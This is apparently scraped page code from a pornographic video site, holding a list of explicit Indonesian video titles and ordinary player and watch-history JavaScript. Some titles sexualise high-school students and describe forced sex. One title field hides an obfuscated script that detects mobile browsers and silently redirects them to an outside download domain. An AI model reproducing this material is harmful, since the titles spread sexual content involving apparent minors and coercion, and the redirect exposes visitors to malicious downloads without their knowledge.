Aku sedang berolahraga untuk suamiku tercinta, tetapi dorongan intens dari pelatih melalui anus membuatku tak bisa berhenti. Istriku yang berkeringat dan berotot mengalami ejakulasi di dalam! (Hinako Mori, WANZ)
Perjalanan Bulan Madu Wu Mengmeng di Amerika_San Francisco Pelacur Vulgar Paparan Memalukan Ejakulasi Tanpa Perlindungan","lastmod":"2026-07-11","duration":"25:35","url":"/play/19153785.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNWVhOGQ3YjViNDNmZDA2MWI1ZjViOWE5YThjODQ1YjQuanBn.cache","vod_id":19033850,"title":"Aku melihat teman sekelasku berhubungan seks dengan pacarnya di asrama sekolah!","lastmod":"2025-03-29","duration":"00:00:17","url":"/play/19033850.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNzQ2OWZmZjdmYmFiODdmY2E3NWI2OTcyMDFmYmUzYzMuanBn.cache","vod_id":18959615,"title":"91 God Daige - Dia memaksa Lanlan yang baru menikah di sebuah hotel, dan akhirnya berejakulasi di dalam dirinya. Dengarkan dialognya.","lastmod":"2025-03-28","duration":"25:14","url":"/play/18959615.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMzE3YTYzOWYzMjhkYTVlZDA0NDUxNWIwZDVjM2JiZTAuanBn.cache","vod_id":19146834,"title":"Seorang gadis berusia 18 tahun yang menakjubkan dengan sosok yang mengejutkan dan memikat, payudaranya yang indah sangat menggoda, dan dia berkeringat deras saat terus-menerus ditusuk.","lastmod":"2026-05-31","duration":"40:50","url":"/play/19146834.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZmY0MThiODkwZGMzNThhOGIyZjU4YTI2NDM2MmRhNDcuanBn.cache","vod_id":19050838,"title":"Gadis manis berbalut lingerie seksi, memperlihatkan payudaranya yang besar dan berwarna merah muda, sungguh memikat dan menggoda. Jangan lewatkan jika Anda menyukainya.","lastmod":"2025-03-29","duration":"30:24","url":"/play/19050838.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMGZhZDM4ZjNmNGZlNzM1NDczOTgyZGUyN2M4ZDNlYjguanBn.cache","vod_id":19001499,"title":"Gadis berseragam dan memakai celana dalam thong itu terlihat cantik. Dia masturbasi sambil menonton video pendek, menggunakan vibrator berbentuk telur. Vaginanya cukup lembut dan sangat menggoda. Jangan sampai ketinggalan!","lastmod":"2025-03-28","duration":"25:26","url":"/play/19001499.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDcvZDhlOTUxMTMxNTdkNGFlM2M3ZWM2YWMwNjkzNDlmZDcuanBn.cache","vod_id":19153848,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Adegan Pemotretan Pribadi Sang Master: Pria-pria Tampan Bergantian Menembus Gadis-Gadis Muda Berkualitas Tinggi.","lastmod":"2026-07-11","duration":"20:44","url":"/play/19153848.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjYvOWU2YzBjOTNkZjA1NTJhMjhlZDI1MTViYjA2ZjNhYjYuanBn.cache","vod_id":19151764,"title":"Seorang siswi SMA yang sangat cantik kemaluannya diisi dengan penis besar - seks oral, menelan sperma, dan ejakulasi di dalam.","lastmod":"2026-06-25","duration":"11:30","url":"/play/19151764.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MDYvNWEzNTBhNGMwNmI3YzdlODMzOTZjYzc4ZjZlMzA4MjMuanBn.cache","vod_id":19147747,"title":"Baidu Cloud membocorkan informasi tentang seorang agen properti di Liuzhou yang tidur dengan kliennya untuk meningkatkan penjualan.","lastmod":"2026-06-05","duration":"04:50","url":"/play/19147747.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZGExMGEzZGU5NmNhNjU1N2JmZDkyYzJhNzYwMGIxODkuanBn.cache","vod_id":19001959,"title":"Niniko mengejar orgasme tertinggi, memasukkan afrodisiak ke dalam vaginanya yang lembut. Vulvanya yang manis sangat basah dan sensitif, dan stokingnya yang terbuka memperlihatkan sepenuhnya cairan yang keluar darinya. Dari belakang, cairan erotis itu meregang dan berceceran.","lastmod":"2025-03-28","duration":"01:07:05","url":"/play/19001959.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMGUxOTJlMzcxODkzZWQ2NmM0MzRkZmJmMmE4MTI2YmIuanBn.cache","vod_id":19007122,"title":"Si streamer cantik dan langsing, Beibei, memiliki suara yang manis dan menggoda. Ia tampil dengan dua kepang dan adegan telanjang yang cukup terbuka – sangat memikat, jangan sampai ketinggalan!","lastmod":"2025-03-28","duration":"18:53","url":"/play/19007122.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzJkNTVhNzMzYzkyZmE0ZTQ4MDMwYWE3MTMwYWQ5NGYuanBn.cache","vod_id":19059484,"title":"bf674 Saya pindah ke pedesaan untuk bekerja, dan setiap hari saya tergoda oleh Tianchuan Kong, dan saya telah berkali-kali ditusuk.","lastmod":"2025-03-29","duration":"02:39:04","url":"/play/19059484.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MDkvMTE1NjY5NDQ0YzBlZmI0MzEzZDhlOTgwYWU2YzM4YjkuanBn.cache","vod_id":19148282,"title":"Aktris-aktris pilihan Nagae yang menyukai video romantis untuk pria yang lebih tua: Saito Mao, Himekawa Rina, Mizusawa Maki, dan lainnya. Gaya Nagae","lastmod":"2026-06-08","duration":"03:47:31","url":"/play/19148282.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYTkyN2Y3OWM5ZmY4M2ZkZmUxNDIxZDgwZTgzN2E0ODQuanBn.cache","vod_id":19144809,"title":"Setelah bertemu Jupojupo, saya langsung melakukan seks oral dan ejakulasi, kemudian melanjutkan dengan pertemuan rahasia dengan seorang wanita yang sudah menikah yang menyukai konten erotis dan insiden ejakulasi. (Square)","lastmod":"2026-05-22","duration":"02:01:49","url":"/play/19144809.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDUvZDJmYWQ3M2ZiOWMyYmEzOTFjMDNiN2VkOTU3OWQ4MDYuanBn.cache","vod_id":19077039,"title":"Seorang wanita muda bertubuh berisi dan berpayudara besar melakukan seks oral pada suaminya, yang kemudian memasukkan manik-manik ke dalam vaginanya dan menungganginya.","lastmod":"2025-06-05","duration":"01:22:41","url":"/play/19077039.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYTdmM2FjNGU1MGVhYjEyMzNiZDZkMjQ0NGQ0MmM3ZTMuanBn.cache","vod_id":19043058,"title":"Menggoda Bawahan Suami Saat Birahi dengan Payudara Indah Tanpa Penyangga - Yukie Mizukami, China Matsukawa.","lastmod":"2025-03-29","duration":"02:03:45","url":"/play/19043058.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZGQxNjNiZjI1Y2NmNTc4MDZhNWUwNjNlZThhNDA2YTEuanBn.cache","vod_id":19143541,"title":"Tuan Huang, yang sangat bergairah malam ini, mengatur pertemuan dengan seorang gadis gemuk berjaket hitam dan stoking hitam. Dia meraba-raba gadis itu di atas kursi, lalu dengan kasar menyetubuhinya dari belakang.","lastmod":"2026-05-16","duration":"43:27","url":"/play/19143541.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTUvNTBlNDIzNzRkZTEzNjA2OGRkOGU0YjkzMTk4M2JiMjMuanBn.cache","vod_id":19155452,"title":"Penetrasi Wanita No. 20: Setelah bernegosiasi secara pribadi dengan seorang gadis pijat populer dengan bentuk tubuh yang bagus, tidak apa-apa untuk melakukan penetrasi tanpa peng保护 dan ejakulasi di dalam dirinya. Peach First Star","lastmod":"2026-07-14","duration":"01:13:20","url":"/play/19155452.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MTMvNTY4OWVkYmExYmFhMzYyZjRhMzE1MTA1YjViMjUxYTIuanBn.cache","vod_id":19073408,"title":"Siapkan tisu. Anna Bao'er Hotel hookup paid room, no condom, internal ejaculation, dry spray - 2","lastmod":"2025-05-13","duration":"54:30","url":"/play/19073408.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvN2U4OGE3ZTY4M2M3MmNiMWQzYzRhZjA1MDhmMGE4NTkuanBn.cache","vod_id":19033821,"title":"Wanita muda yang nakal itu menikmati diserang dari kedua sisi!","lastmod":"2025-03-29","duration":"00:00:54","url":"/play/19033821.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvM2JkODgwZjE4ZjA1M2QzZGJiY2U3MjYwYzdiMmM0NzcuanBn.cache","vod_id":18977936,"title":"230OREBMS-073 Aoi, seorang wanita amatir yang mengambil pekerjaan demi uang.","lastmod":"2025-03-28","duration":"01:17:21","url":"/play/18977936.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOTJhZTcxMGEzYjMzY2U5YWVhNzAzZTk1ZjU5MDEyODkuanBn.cache","vod_id":19029708,"title":"Gadis cantik Yuzu Cat diserang secara brutal, pertama-tama spermanya mengenai kakinya dan kemudian masuk ke dalam tubuhnya, dua kali tembakan sekaligus.","lastmod":"2025-03-29","duration":"16:27","url":"/play/19029708.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYTAxZmIxZjc3NGRkYTYyNDEzZmRlM2I0NGQ1NDhiYjYuanBn.cache","vod_id":18969935,"title":"Untuk pertama kalinya dalam sepuluh tahun, aku bertemu cinta pertamaku, mantan pacarku, kepada siapa aku memberikan keperawananku... Dia wanita yang sangat seksi, berambut pirang, bermata biru, dengan payudara besar... Dia telah menjadi tipe wanita seksi yang ingin kau peluk. Selama kencan kami, aku mengenang masa mudaku. Seolah ingin menebus waktu yang hilang, aku terus berhubungan seks dengannya dan berejakulasi di dalam dirinya, sesuatu yang tidak bisa kulakukan sebelumnya. (Gerbang Ootori)","lastmod":"2025-03-28","duration":"03:00:22","url":"/play/18969935.html"}]},
videoTitle: 'Aku sedang berolahraga untuk suamiku tercinta, tetapi dorongan intens dari pelatih melalui anus membuatku tak bisa berhenti. Istriku yang berkeringat dan berotot mengalami ejakulasi di dalam! (Hinako Mori, WANZ)',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}